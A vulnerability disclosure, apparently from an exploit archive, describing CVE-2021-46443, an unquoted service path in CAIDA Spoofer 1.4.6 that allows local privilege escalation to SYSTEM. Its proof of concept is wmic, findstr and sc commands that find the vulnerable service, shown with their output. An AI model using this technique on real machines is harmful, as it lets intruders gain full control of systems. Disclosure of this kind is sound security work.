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Spoofer 1.4.6 Privilege Escalation / Unquoted Service Path

Spoofer 1.4.6 Privilege Escalation / Unquoted Service Path
Posted Mar 31, 2022
Authored by Asim Sattar

Spoofer version 1.4.6 suffers from an unquoted service path vulnerability that can lead to privilege escalation.

tags | exploit
advisories | CVE-2021-46443
SHA-256 | 6e36f8ead3bb9754bebd29f1138b16de9f85c211a2321e246d8956e9be5fe982

Spoofer 1.4.6 Privilege Escalation / Unquoted Service Path

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# Exploit Title: Spoofer 1.4.6 – Local Privilege Escalation via Unquoted Service Path 
# Date: 24/01/2022
# Exploit Author: Asim Sattar (@M_Asim_1)
# Vendor Homepage: https://www.caida.org/projects/spoofer/
# Software Link: https://www.caida.org/projects/spoofer/downloads/Spoofer-1.4.6-win32.exe
# Version: 1.4.6
# Tested: Windows 10 (x64)
# CVE: CVE-2021-46443



Description:

-------------



Caida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted
service path. Since this service is running as SYSTEM, this creates a local
privilege escalation vulnerability. To properly exploit this vulnerability,
a local attacker can insert an executable in the path of the service.
Rebooting the system or restarting the service will run the malicious
executable with elevated privileges.



------------------

Proof of Concept:

------------------



C:\Users\asim.sattar>wmic service get name,pathname,displayname,startmode |
findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

Spoofer Scheduler spoofer-scheduler C:\Program Files
(x86)\Spoofer\spoofer-scheduler.exe Auto



C:\Users\asim.sattar>sc qc "spoofer-scheduler"

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: spoofer-scheduler

TYPE : 10 WIN32_OWN_PROCESS

START_TYPE : 2 AUTO_START

ERROR_CONTROL : 1 NORMAL

BINARY_PATH_NAME : C:\Program Files
(x86)\Spoofer\spoofer-scheduler.exe

LOAD_ORDER_GROUP :

TAG : 0

DISPLAY_NAME : Spoofer Scheduler

DEPENDENCIES : tcpip

SERVICE_START_NAME : LocalSystem



Regards,

Asim Sattar
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